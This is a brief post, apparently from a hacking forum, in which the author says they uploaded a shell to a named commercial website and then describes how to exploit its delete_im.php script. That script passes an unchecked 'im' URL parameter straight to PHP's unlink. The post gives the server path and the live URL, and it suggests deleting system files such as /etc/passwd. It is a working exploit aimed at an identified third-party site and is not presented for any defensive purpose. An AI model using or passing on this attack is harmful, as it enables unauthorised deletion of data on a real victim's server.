Here I managed to upload shell....

i read some php file and i get this file

/delete_im.php

$im=$_GET["im"];
@unlink("../images_customer/$im");

so you can delete any file in this path

/home/www/virtual/thawang.com/spacomputer_com/

www.spacomputer.com/cu/delete_im.php?im

dot try to delete etc/pass